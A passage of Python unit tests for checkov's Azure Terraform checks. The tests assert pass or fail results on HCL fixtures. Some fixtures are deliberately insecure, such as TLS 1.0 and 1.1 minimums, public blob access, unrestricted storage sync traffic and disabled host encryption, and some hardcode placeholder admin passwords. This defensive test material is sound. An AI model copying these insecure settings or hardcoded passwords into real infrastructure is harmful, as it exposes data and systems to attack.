min_tls_version = "TLS1_0" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_insecure_option_present_tls11(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" min_tls_version = "TLS1_1" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success_secure_option_present(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" min_tls_version = "TLS1_2" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success_future_option_present(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_account" "example" { name = "example" resource_group_name = data.azurerm_resource_group.example.name location = data.azurerm_resource_group.example.location account_tier = "Standard" account_replication_type = "GRS" min_tls_version = "TLS1_3" network_rules { default_action = "Allow" ip_rules = ["100.0.0.1"] virtual_network_subnet_ids = [azurerm_subnet.example.id] } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageAccountName.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.StorageAccountName import check from checkov.terraform.runner import Runner class TestStorageAccountName(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StorageAccountName" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_storage_account.pass", "azurerm_storage_account.pass_number", } failing_resources = { "azurerm_storage_account.camel_case", "azurerm_storage_account.kebab_case", "azurerm_storage_account.too_long", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageAccountsTransportEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.StorageAccountsTransportEncryption import check from checkov.terraform.runner import Runner class TestStorageAccountsTransportEncryption(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StorageAccountsTransportEncryption" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_storage_account.default", "azurerm_storage_account.enabled", } failing_resources = { "azurerm_storage_account.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageAccountsUseReplication.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.StorageAccountsUseReplication import check from checkov.terraform.runner import Runner class TestStorageAccountsUseReplication(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StorageAccountsUseReplication" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_storage_account.pass", "azurerm_storage_account.pass2", } failing_resources = { "azurerm_storage_account.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageBlobRestrictPublicAccess.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.StorageBlobRestrictPublicAccess import check from checkov.terraform.runner import Runner class TestStorageBlobRestrictPublicAccess(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StorageBlobRestrictPublicAccess" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_storage_account.pass", } failing_resources = { "azurerm_storage_account.fail", "azurerm_storage_account.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageBlobServiceContainerPrivateAccess.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.StorageBlobServiceContainerPrivateAccess import check from checkov.common.models.enums import CheckResult class TestStorageBlobServiceContainerPrivateAccess(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_container" "example" { name = "vhds" storage_account_name = azurerm_storage_account.example.name container_access_type = "blob" } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_container']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_container" "example" { name = "vhds" storage_account_name = azurerm_storage_account.example.name container_access_type = "private" } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_container']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageLocalUsers.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.StorageLocalUsers import check from checkov.terraform.runner import Runner class TestStorageLocalUsers(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_StorageLocalUsers" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_storage_account.pass", "azurerm_storage_account.pass_missing_not_sftp", "azurerm_storage_account.pass_missing_not_sftp2", "azurerm_storage_account.pass_sftp_local_user_disabled", } failing_resources = { "azurerm_storage_account.fail", "azurerm_storage_account.fail_missing_sftp", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageSyncPublicAccessDisabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.StorageSyncPublicAccessDisabled import check from checkov.common.models.enums import CheckResult class TestStorageSyncPublicAccessDisabled(unittest.TestCase): def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_sync" "test" { name = "example-storage-sync" resource_group_name = azurerm_resource_group.test.name location = azurerm_resource_group.test.location tags = { foo = "bar" } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_sync']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_sync" "test" { name = "example-storage-sync" resource_group_name = azurerm_resource_group.test.name location = azurerm_resource_group.test.location incoming_traffic_policy = "AllowAllTraffic" tags = { foo = "bar" } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_sync']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_storage_sync" "test" { name = "example-storage-sync" resource_group_name = azurerm_resource_group.test.name location = azurerm_resource_group.test.location incoming_traffic_policy = "AllowVirtualNetworksOnly" tags = { foo = "bar" } } """) resource_conf = hcl_res['resource'][0]['azurerm_storage_sync']['test'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_StorageSyncServicePermissiveAccess.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.StorageSyncServicePermissiveAccess import check class TestStorageSyncServicePermissiveAccess(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_StorageSyncServicePermissiveAccess") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_storage_sync.pass' } failing_resources = { 'azurerm_storage_sync.fail2', 'azurerm_storage_sync.fail1', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SynapseSQLPoolDataEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.SynapseSQLPoolDataEncryption import check from checkov.terraform.runner import Runner class TestSynapseSQLPoolDataEncryption(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SynapseSQLPoolDataEncryption" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_pass", } failing_resources = { "azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_A", "azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_B", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SynapseWorkspaceAdministratorLoginPasswordHidden.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.SynapseWorkspaceAdministratorLoginPasswordHidden import check from checkov.terraform.runner import Runner class TestSynapseWorkspaceAdministratorLoginPasswordHidden(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SynapseWorkspaceAdministratorLoginPasswordHidden" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "azurerm_synapse_workspace.azurerm_synapse_workspace_pass", } failing_resources = { "azurerm_synapse_workspace.azurerm_synapse_workspace_fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SynapseWorkspaceCMKEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.SynapseWorkspaceCMKEncryption import check from checkov.terraform.runner import Runner class TestSynapseWorkspaceCMKEncryption(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_SynapseWorkspaceCMKEncryption" report = runner.run( root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]) ) summary = report.get_summary() passing_resources = { "azurerm_synapse_workspace.azurerm_synapse_workspace_pass", } failing_resources = { "azurerm_synapse_workspace.azurerm_synapse_workspace_fail", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SynapseWorkspaceEnablesDataExfilProtection.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.SynapseWorkspaceEnablesDataExfilProtection import check from checkov.terraform.runner import Runner class TestSynapseWorkspaceEnablesDataExfilProtection(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_SynapseWorkspaceEnablesDataExfilProtection" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_synapse_workspace.pass", } failing_resources = { "azurerm_synapse_workspace.fail", "azurerm_synapse_workspace.fail2", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 3) # 3 unknown self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_SynapseWorkspaceEnablesManagedVirtualNetworks.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.SynapseWorkspaceEnablesManagedVirtualNetworks import check from checkov.common.models.enums import CheckResult class TestSynapseWorkspaceEnablesManagedVirtualNetworks(unittest.TestCase): def test_failure_1(self): hcl_res = hcl2.loads(""" resource "azurerm_synapse_workspace" "example" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret managed_virtual_network_enabled = false aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } tags = { Env = "production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_synapse_workspace']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_2(self): hcl_res = hcl2.loads(""" resource "azurerm_synapse_workspace" "example" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } tags = { Env = "production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_synapse_workspace']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_synapse_workspace" "example" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id sql_administrator_login = "sqladminuser" sql_administrator_login_password = "H@Sh1CoR3!" # checkov:skip=CKV_SECRET_80 test secret managed_virtual_network_enabled = true aad_admin { login = "AzureAD Admin" object_id = "00000000-0000-0000-0000-000000000000" tenant_id = "00000000-0000-0000-0000-000000000000" } tags = { Env = "production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_synapse_workspace']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VMAgentIsInstalled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.VMAgentIsInstalled import check from checkov.terraform.runner import Runner class TestVMAgentIsInstalled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_VMAgentIsInstalled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_linux_virtual_machine.pass", "azurerm_windows_virtual_machine.pass", "azurerm_linux_virtual_machine_scale_set.pass", "azurerm_windows_virtual_machine_scale_set.pass", "azurerm_linux_virtual_machine_scale_set.passdefault", } failing_resources = { "azurerm_linux_virtual_machine.fail", "azurerm_linux_virtual_machine.fail2", "azurerm_windows_virtual_machine.fail", "azurerm_windows_virtual_machine.fail2", "azurerm_linux_virtual_machine_scale_set.fail", "azurerm_windows_virtual_machine_scale_set.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VMCredsInCustomData.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.VMCredsInCustomData import check from checkov.terraform.runner import Runner class TestVMCredsInCustomData(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_VMCredsInCustomData" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_virtual_machine.no_secret", "azurerm_virtual_machine.no_custom_data", "azurerm_virtual_machine.empty_os_profile", "azurerm_virtual_machine.no_os_profile", } failing_resources = { "azurerm_virtual_machine.secret", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 4) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VMDisablePasswordAuthentication.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.VMDisablePasswordAuthentication import check from checkov.terraform.runner import Runner class TestVMDisablePasswordAuthentication(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_VMDisablePasswordAuthentication" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_linux_virtual_machine.pass", "azurerm_linux_virtual_machine.pass2", "azurerm_linux_virtual_machine_scale_set.pass", "azurerm_linux_virtual_machine_scale_set.pass2", } failing_resources = { "azurerm_linux_virtual_machine.fail", "azurerm_linux_virtual_machine_scale_set.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 4) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 8) # 3 unknown self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VMDiskWithPublicAccess.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.VMDiskWithPublicAccess import check class TestVMDiskWithPublicAccess(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_VMDiskWithPublicAccess") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_managed_disk.pass' } failing_resources = { 'azurerm_managed_disk.fail2', 'azurerm_managed_disk.fail1', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VMEncryptionAtHostEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.VMEncryptionAtHostEnabled import check from checkov.common.models.enums import CheckResult class TestVMEncryptionAtHostEnabled(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_windows_virtual_machine_scale_set" "example" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_password = "P@55w0rd1234!" # checkov:skip=CKV_SECRET_80 test secret admin_username = "adminuser" source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter-Server-Core" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } """) resource_conf = hcl_res['resource'][0]['azurerm_windows_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "azurerm_windows_virtual_machine_scale_set" "example" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_password = "P@55w0rd1234!" admin_username = "adminuser" encryption_at_host_enabled = false source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter-Server-Core" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } """) resource_conf = hcl_res['resource'][0]['azurerm_windows_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure3(self): hcl_res = hcl2.loads(""" resource "azurerm_linux_virtual_machine_scale_set" "example" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_password = "P@55w0rd1234!" admin_username = "adminuser" source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter-Server-Core" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } """) resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure4(self): hcl_res = hcl2.loads(""" resource "azurerm_linux_virtual_machine_scale_set" "example" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_password = "P@55w0rd1234!" admin_username = "adminuser" encryption_at_host_enabled = false source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter-Server-Core" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } """) resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success1(self): hcl_res = hcl2.loads(""" resource "azurerm_windows_virtual_machine_scale_set" "example" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_password = "P@55w0rd1234!" admin_username = "adminuser" encryption_at_host_enabled = true source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter-Server-Core" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } """) resource_conf = hcl_res['resource'][0]['azurerm_windows_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "azurerm_linux_virtual_machine_scale_set" "example" { name = "example-vmss" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "Standard_F2" instances = 1 admin_password = "P@55w0rd1234!" admin_username = "adminuser" encryption_at_host_enabled = true source_image_reference { publisher = "MicrosoftWindowsServer" offer = "WindowsServer" sku = "2016-Datacenter-Server-Core" version = "latest" } os_disk { storage_account_type = "Standard_LRS" caching = "ReadWrite" } network_interface { name = "example" primary = true ip_configuration { name = "internal" primary = true subnet_id = azurerm_subnet.internal.id } } } """) resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_VMScaleSetsAutoOSImagePatchingEnabled.py ================================================ import unittest import hcl2 from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.azure.VMScaleSetsAutoOSImagePatchingEnabled import check class TestVMScaleSetsAutoOSImagePatchingEnabled(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_virtual_machine_scale_set" "example" { name = "mytestscaleset-1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name # automatic rolling upgrade upgrade_policy_mode = "Rolling" rolling_upgrade_policy { max_batch_instance_percent = 20 max_unhealthy_instance_percent = 20 max_unhealthy_upgraded_instance_percent = 5 pause_time_between_batches = "PT0S" } # required when using rolling upgrade policy health_probe_id = azurerm_lb_probe.example.id sku { name = "Standard_F2" tier = "Standard" capacity = 2 } storage_profile_image_reference { publisher = "Canonical" offer = "UbuntuServer" sku = "16.04-LTS" version = "latest" } storage_profile_os_disk { name = "" caching = "ReadWrite" create_option = "FromImage" managed_disk_type = "Standard_LRS" } storage_profile_data_disk { lun = 0 caching = "ReadWrite" create_option = "Empty" disk_size_gb = 10 } os_profile { computer_name_prefix = "testvm" admin_username = "myadmin" } os_profile_linux_config { disable_password_authentication = true ssh_keys { path = "/home/myadmin/.ssh/authorized_keys" key_data = file("~/.ssh/demo_key.pub") } } network_profile { name = "terraformnetworkprofile" primary = true ip_configuration { name = "TestIPConfiguration" primary = true subnet_id = azurerm_subnet.example.id load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id] load_balancer_inbound_nat_rules_ids = [azurerm_lb_nat_pool.lbnatpool.id] } } tags = { environment = "staging" } } """) resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "azurerm_virtual_machine_scale_set" "example" { name = "mytestscaleset-1" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name # 